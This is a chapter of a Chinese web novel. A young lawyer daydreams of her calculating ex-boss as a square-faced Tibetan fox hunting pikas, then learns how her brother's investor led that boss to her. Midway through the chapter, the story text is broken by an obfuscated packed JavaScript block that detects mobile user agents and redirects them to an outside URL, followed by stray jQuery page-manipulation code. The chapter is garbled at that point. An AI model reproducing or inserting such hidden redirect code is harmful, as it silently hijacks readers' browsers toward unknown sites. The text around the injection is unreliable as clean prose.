办公室里。
潘斥的话,在颜炎耳边嗡嗡地回响。
“小颜啊,我这边呢刚好有个客户,他看到了你视频号上发布的那几集动物主题的短视频,觉得非常有意思。”
“所以呢,他就很想和你合作,我觉得这种情况,你就给他免费出个创意、做一期,就当给客户的附加服务。”
他的声音不高,却带着一种穿透力。
每一个冠冕堂皇的词汇都像是精心调配的粘合剂。
试图将颜炎游离的注意力,牢牢钉在当下这场并不令人愉悦的谈话中。
这些话语的套路,实在太让人熟悉了。
听着这位前老板用最正义凛然的包装,裹挟最核心的利益诉求。
颜炎的思绪却开始不受控制地飘远。
自从为了参演了那出荒诞的动物短剧,在脑中自导自演过几个小剧场后。
她仿佛无意间打开了一扇通往奇异世界的大门,想象力特别容易脱缰。
颜炎看着潘斥那张方正的、不苟言笑的脸。
下意识地在心里给他打标签。
潘斥精明、算计,善于用言语布置陷阱。
嗯,就像是一只成精的狐狸。
但下一秒,颜炎就在心里唾弃了自己这个比喻。
不对,潘斥的脸庞方方的,整个人也显得板正甚至有些笨拙。
和妖娆、敏捷的狐狸哪里像了?
这简直降低了狐狸精的平均格调。
那些老祖宗要是知道了,怕是要从神话里跳出来抗议。
等等……
记忆的角落忽然被点亮。
她想起前段时间,和颜热一起看纪录片时,镜头里闪过的一种长相奇特的狐狸。
“藏狐,以其方形的脸庞著称,被网友们戏称为‘狐主任’……”
画面中那只狐狸表情严肃,眼神里透着一种与生俱来的“领导”气质,它的主食是——鼠兔。
这个联想如同一个开关,“咔哒”一声,眼前现实世界的景象迅速褪色、扭曲、重组。
严肃的办公室背景虚化成了高原草甸,红木办公桌变成了嶙峋的岩石。
潘斥那喋喋不休的方脸,在她脑海中清晰地覆盖上了一层藏狐的毛茸茸的面具。
脑袋上还顶着一个清晰的标签——【潘斥】。
而她自己,则仿佛缩小成了一只毛色灰褐、体型娇小、正在忙碌的鼠兔。
头顶着【颜炎】的名字。
于是,一场严肃(至少表面如此)的职场谈话,在颜炎的脑内小剧场里,彻底变成了自然纪录片风格的滑稽片。
......
画外音(模仿纪录片腔调,在颜炎脑中响起):
“藏狐,高原生态系统的‘鼠兔专食者’。它的生存高度依赖于鼠兔种群的繁荣。”
“无论鼠兔如何辛勤地改造环境、维持草场平衡,在藏狐的眼中,它最终极的价值,似乎都归结于那简单的一句话……”
颜炎脑内小剧场剧情正演到高潮。
现实中潘斥的却突然提高了音量,如同一根针刺破了她的幻想。
“小颜啊,如果你同意,我是可以说服其他合伙人,重新考虑一下,让你回到我们律所工作的。”
颜炎猛地回神,发现自己还坐在那间宽敞却压抑的办公室里。
对面是潘斥那张真实的、方方的、带着期待表情的脸。
她迅速收敛了嘴角几乎要溢出的、因那荒诞小剧场而产生的笑意。
努力让眼神聚焦,显得认真而专注。
“潘律师,您说的我明白了。”
颜炎清了清嗓子,声音平静,听不出太多波澜。
“我会认真考虑的。”
她特意在“认真”二字上做了微不可察的停顿,心中想着的却是那只严肃的方脸藏狐。
或许,在现实的职场草原上,她也需要学会像鼠兔一样。
不仅要辛勤“翻土”、“修剪”、“挖洞”,更要时刻警惕那只永远在评估你“是否好吃”的“藏狐”。
......
半个多小时后。
颜炎从前律所那栋冰冷的、泛着玻璃光泽的现代化大楼里走了出来。
夕阳正缓缓下沉,金色的光线失去了正午时分那种滚烫的侵略性。
却依然固执地带着一种令人微微出汗的灼热感。
对于潘斥刚才那番关于“平台价值”、“附加服务”和“未来回报”的宏论。
颜炎此时此刻最直接、最真实的反应。
就是只想仰起头,对着上方灰蓝色的天空,狠狠地、毫无保留地翻一个足以冲破天际的大白眼。
她从法学院毕业,吭哧吭哧、脱了一层皮才通过那场惨烈无比的法考。
第一份工作就是扎进潘斥的团队里当牛做马,直到最后像一块用旧的抹布一样被“优化”掉。
可以说,颜炎职业生涯最惨痛的一课,就是潘斥亲手教授的。
对于这位前老板的行事风格和语言套路,她实在是熟悉到骨头里了。
那个所谓的“很想合作”的“客户”。
至少截止到今天,肯定、绝对、还不是他潘律师名下能收费的正式客户。
否则,以潘斥那种将效率和利益至上的风格。
根本不会浪费宝贵的半小时跟她大谈情怀和未来。
他会直接了当地把一份初步的合作意向书,甚至附带着苛刻的保密协议。
甩到她面前,用不容置疑的语气要求她签字,完成这次“免费的附加服务”。
等等。
一个更让人疑惑、也更关键的问题,猝不及防地冒了出来。
颜炎猛地停下脚步,站在人来人往的街边。
努力回溯拍摄时那个兵荒马乱的场景。
她当时纯粹是抱着给颜热收拾烂摊子、临时凑数的心态去演的。
所以当常营扯着嗓子问她,在片尾演员名字那里要挂什么名的时候。
颜炎记得非常清楚,自己觉得不会有人在乎但又不想用本命,就随口报了一个名字。
而且那个视频里。
她脸上画满了庄文手下那狂放不羁的黑白条纹动物妆,亲妈来了都未必能一眼认出来。
潘斥……到底是怎么知道。
那个顶着一头乱毛、行为莽撞的演员——
就是她?
不过。
颜炎心头的这点困惑并没持续多久。
......
到了晚上。
手机嗡嗡震动起来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513251|186180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>发消息来的时间掐得极准,正好差不多是非洲大草原那边的下午时分。
阳光炽烈,信号大概也最好。
她划开屏幕,颜热那带着一股子心虚和求助气息的文字,就争先恐后地跳了出来。
「姐!出大事了!就那个陶总!当初投钱的那个投资人!他居然又给我发消息了!」
「他说看了我们拍的动物主题视频,觉得特别棒,居然还想再合作一次!」
「姐,这回我可学乖了,再不敢自己瞎答应他了,怕又被坑……」
「但是!我现在还欠着他一大笔钱呢,也不敢直接一口回绝把他给得罪了。」
「所以我想来想去,就只能说我现在人在非洲,信号不好沟通不便,请他直接联系你详谈!」
「对了姐,为了壮壮声势,显得我们不是好欺负的,我特意跟他说了你是特别厉害的律师!」「还把你就职过的、挺有名的那家前律所名号报给他了!怎么样,我机智吧?」
颜炎:“......”
她紧紧盯着屏幕上那一长串邀功请赏般的文字,尤其是最后那个闪闪发光的“机智吧。
很好。
破案了。
收到颜热的微信后,颜炎盯着屏幕上那几行字,简直气不打一处来。
这小子倒好,在地球另一端撸着狮子抱着wifi信号器。
轻飘飘一句“陶总想合作”就把球踢了回来。
她捏了捏眉心,认命地叹了口气。
二话不说就翻出罗艾的微信发了条消息过去,言简意赅。
“罗经理,听说陶总那边有再次合作意向?”
消息发出去后。
颜炎也没干等着,起身去厨房倒了杯水。
冰凉的水划过喉咙,稍微浇灭了一点心头那点被“坑”的火气。
玻璃杯壁上凝结的水珠沾湿了指尖,带来一丝清醒的凉意。
没多久,手机屏幕就亮了起来。
罗艾的回复来得比她预想的更快。
跟颜炎推测的大差不差。
罗艾言简意赅,但信息量足够拼出全貌。
陶合,也就是颜热那个项目的投资人。
收到颜热那小子为了壮声势、胡乱推送来的颜炎前律所信息后,大概真放在了心上。
在某次推杯换盏的饭局上,他大概是想显得自己消息灵通、知根知底。
便随口向桌上的人打听了一下“XX律所的颜炎律师”。
这声打听。
就被正好同在饭局、耳朵尖得像雷达、绝不会放过任何潜在客户信息的颜炎前老板潘斥给精准捕捉进去了。
就以潘大律师那“宁可错杀一千,绝不放过一个”的争取客户的积极性。
他立刻顺藤摸瓜,从陶合那里三言两语套出了前因后果,然后大包大揽地把“联系颜炎”这活儿给截胡了下来。
于是,就有了潘斥那通突如其来的召唤电话。
电话那头,罗艾叙述到这里,轻笑一声。
那笑声透过电波传来,带着点微妙的意味。
“所以,事情就是这样。陶总的确对短视频内容这个领域很感兴趣。”
“做生不如做熟,他觉得你们有经验,也算知根知底,就希望能有机会再合作一次。”